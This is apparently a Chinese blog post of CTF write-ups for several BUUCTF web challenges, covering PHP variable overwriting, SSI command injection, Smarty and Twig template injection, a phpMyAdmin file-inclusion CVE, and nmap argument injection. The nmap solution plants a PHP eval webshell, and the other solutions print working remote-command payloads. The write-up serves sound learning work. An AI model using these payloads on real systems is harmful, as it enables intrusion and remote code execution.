buu练习3

前言

虽然要考核了,但是还是要准备接下来的比赛,而且不是很想看反序列化,所以就继续刷题拓宽知识面了。

[BJDCTF2020]Mark loves cat

进入网页没有什么能注入的地方,怀疑信息搜集,扫描目录发现存在git源码泄露,用GitHack提取,查看源码:
flag.php:

1
2
<?php
$flag = file_get_contents('/flag');

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

echo "the flag is: ".$flag;

分析源码,首先看到foreach()函数,这个函数的作用是遍历数组:

foreach (iterable_expression as $key => $value)
statement
遍历给定的 iterable_expression 迭代器。每次循环中,当前单元的键名被赋给变量 $key,当前单元的值被赋给 $value。

因此我们可以利用这个函数来改变定义的三个变量的值,然后构建exit($flag)读取flag,或者我们绕过所有的判断语句并且不改变flag的值也可以读取到flag。

因此这里就要用到变量覆盖的原理了,这里直接给出最后payload并进行分析。

  • payload1:

    1
    ?yds=flag

    首先我们没有GET进flag,因此绕过了第一和第三个判断,但是由于我们没有传入flag,因此要执行第二个判断中的语句,返回$yds。但是我们GET传入根据会执行$$x = $$y,即$yds=$flag。而$flag的值没有改变,因此可以得到flag。

  • payload2:

    1
    ?is=flag&flag=flag

    GET传入flag=flag,这样就没有改变flag的值,而且会触发第三个判断语句,返回$is,因此再把$is赋值flag就可以了。

[BJDCTF2020]EasySearch

上来就是登录框,根据题目猜想含有信息搜集,测试发现存在index.php.swp,进入查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

我们得知我们输入的password进行md5加密后的前6位应该为6d0bc1,写python脚本爆破:

1
2
3
4
5
6
7
8
import hashlib

for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

if a[0:6] == '6d0bc1':
print(i)
print(a)

进入后发现请求头中藏这个url,访问后进入新页面:

1
public/fdf1c9d4a791f1e565a71524bfffac7b4875a60e.shtml

搜索资料后发现这里要用到ssi,因此在username那里写入payload:

1
2
<!--#exec cmd="ls ../" -->
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

获取flag。继续挖坑,ssi的博客之后会写的。

[CISCN2019 华东南赛区]Web11

看页面最后告诉我们Build With Smarty !,不难猜出是一道ssti。但是这个注入点看了好久才看出来,根据网页上get IP,get XFF,提示注入点在头文件中的XFF中。

而Smarty ssti的注入可以用{}直接执行命令,也可以使用标签。我这里使用标签构建payload:

1
2
X-Forwarded-For: {if system('ls ../../../')}{/if}
X-Forwarded-For: {if system('cat ../../../flag')}{/if}

[GWCTF 2019]我有一个数据库

进网页啥也没有,扫目录发现/phpmyadmin,进入后发现是数据库后台。

发现phpmyadmin版本为4.8.1,搜寻后发现CVE-2018-12613漏洞,直接用这个漏洞构造payload就可以了:

1
http://3ffc4981-eb9f-463d-84e3-ef1348d3b690.node4.buuoj.cn:81/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag

[BUUCTF 2018]Online Tool

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这题的关键是利用最后一句代码,用nmap写入shell,payload:

1
?host='<?php @eval($_POST["mrl64"]);?> -oG 1.php '

蚁剑连接即可。

但是这题的payload构建的核心在于这个引号上,为什么这个引号要这样构建呢,主要问题出在escapeshellarg()escapeshellcmd()这两个函数上。

escapeshellarg()的作用就是将单引号转义,并将转义后的单引号的前后两部分再用一个单引号括上
例如:123’ ls —> ‘123’'‘ ls’

escapeshellcmd()的作用就很简单了,在&#;`|*?~<>^()[]{}$ \x0A 和 \xFF和没有配对的单引号前插入””
例如:’123’'‘ ls’ —> ‘123’\‘’ ls'

因此我们按payload传入的话,语句变成:

1
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php @eval\($_POST\["mrl64"\]\)\;\?\> -oG 1.php ''

如果最后的引号前没加空格的话,payload就会被转义成:

1
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php @eval\($_POST\["mrl64"\]\)\;\?\> -oG 1.php'\\'''

文件名会变成1.php\\

如果引号没加的话,payload被转义成:

1
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php @eval\($_POST\["mrl64"\]\)\;\?\> -oG 1.php\'

文件名变成1.php'

[网鼎杯 2020 朱雀组]Nmap

这题和上题原理是一模一样的,但是过滤了php,因此用短标签绕过标签php,用phtml绕过文件后缀名:

1
'<?= @eval($_POST["mrl64"]);?> -oG 1.phtml '

蚁剑连接即可。

[BJDCTF2020]Cookie is so stable

根据提示,我们抓包观察cookie,发现最后页面会回显的内容与cookie中的user有关,进行测试确认是twig的ssti。

直接构建twig的rce相关payload:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat ../../../../flag")}}